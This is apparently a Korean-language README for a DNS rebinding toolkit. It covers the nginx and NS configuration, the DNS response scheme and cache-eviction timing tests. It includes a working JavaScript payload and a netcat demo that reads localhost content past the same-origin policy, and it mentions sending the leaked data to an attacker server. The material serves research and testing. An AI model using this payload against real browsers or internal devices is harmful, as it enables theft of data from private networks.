
사용자 정의 스크립트가 포함된 DNS 리바인드 도구
@tavisio에서 영감을 받음
이 프로젝트는 DNS 리바인딩 공격을 더 테스트하기 위한 올인원 툴킷이 되도록 고안되었으며, 이러한 유형의 공격에 대한 저의 이해를 위한 것입니다. 이 툴킷은 A 쿼리에만 응답하는 웹 서버와 의사 DNS 서버로 구성됩니다.
웹 서버의 루트 인덱스는 기본 웹 GUI를 통해 공격을 구성하고 실행할 수 있게 해줍니다. dnsrebindtool.43z.one을 참조하십시오.
웹 서버를 호스팅하기 위한 기본 nginx 구성
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
웹 서버의 /attack 경로는 base64로 인코딩된 자바스크립트를 제공하는 GET 파라미터 script를 읽고, 디코딩된 코드(setTimeout으로 감싸진)를 일반 HTML 페이지에 포함시켜 응답합니다.
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
43z.one 도메인의 레지스트라에서 rebind 서브도메인에 대한 NS 레코드를 설정하여 이 도구가 호스팅되는 IP를 가리키도록 했습니다.
ns A 81.4.124.10
rebind NS ns.43z.one
DNS 서버는 다음 형식의 A 쿼리에만 응답합니다.
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
첫 번째 부분(서브도메인)은 단순한 랜덤 ID이며 공격 세션마다 생성되어야 합니다(웹 GUI는 로드될 때마다 이 작업을 수행합니다). 두 번째는 DNS 서버가 다음 2초 동안 응답해야 하는 IP이고, 세 번째는 그 시간이 지난 후에 서버가 응답해야 하는 IP입니다.
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
마지막으로 빠진 조각은 리바인드 도메인을 위한 nginx 구성입니다. /attack 경로만 도구로 전달되고 다른 경로는 오류를 응답해야 합니다. 이를 통해 /attack을 제외한 모든 경로로 포트 80의 다른 서비스를 공격할 수 있습니다(예: 제 라우터가 노출하는 엔드포인트인 /api/monitoring/stats).
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
DNS 캐시 제거
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// first time the browser sees this domain it queries the dns server
// and gets 81.4.124.10
// sleep for more than 2 sec
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// still uses 81.4.124.10 (AND NOT 127.0.0.1)
// NO dns query happened browser used cached IP
이것은 이러한 유형의 공격에 문제가 됩니다. 공격이 작동하려면 브라우저가 두 번째 IP를 얻기 위해 새로운 DNS 쿼리를 다시 발행해야 합니다. 이론적으로 요청 사이에 충분히 오래 기다리면 새로운 쿼리가 발생해야 합니다. 그러나 제 테스트 결과 더 빠르지만 더 공격적인 접근 방식이 있음을 보여줍니다. 이는 설정에 매우 특화된 것일 가능성이 높습니다. 더 많은 테스트가 필요합니다. WAIT 변수의 최적 값을 측정하기 위해 다음 스크립트를 사용했습니다. Debian buster/sid에서 실행되는 Chromium 62.0.3202.89에서 테스트되었습니다.
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
이를 탐구하기 위해 새 저장소를 시작했습니다: dns cache eviction tester
모든 것을 종합하여 테스트합니다.
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
이 netcat 인스턴스는 제가 액세스하고 싶은 일부 콘텐츠를 제공합니다. 기본 리바인드 도메인
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
과 기본 스크립트를 유지합니다.
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
dnsrebindtool.43z.one에서 Attack 버튼을 누릅니다. 개발 도구의 네트워크 탭을 열어 백그라운드에서 일어나는 일을 확인하세요. 제 경우 약 60초 후에 TOPSECRET 문자열과 걸린 시간이 채워집니다. DNS 리바인딩이 SOP를 우회했습니다. 유출된 데이터를 iframe 밖으로 가져오려면 Window.PostMessage()를 사용하거나 데이터를 다른 공격자 서버로 전달하는 코드를 스크립트 자체에 포함시킬 수 있습니다.
| WAIT 값 (ms) | Chrome이 보내는 요청 수 | DNS 재쿼리까지 걸린 시간 |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |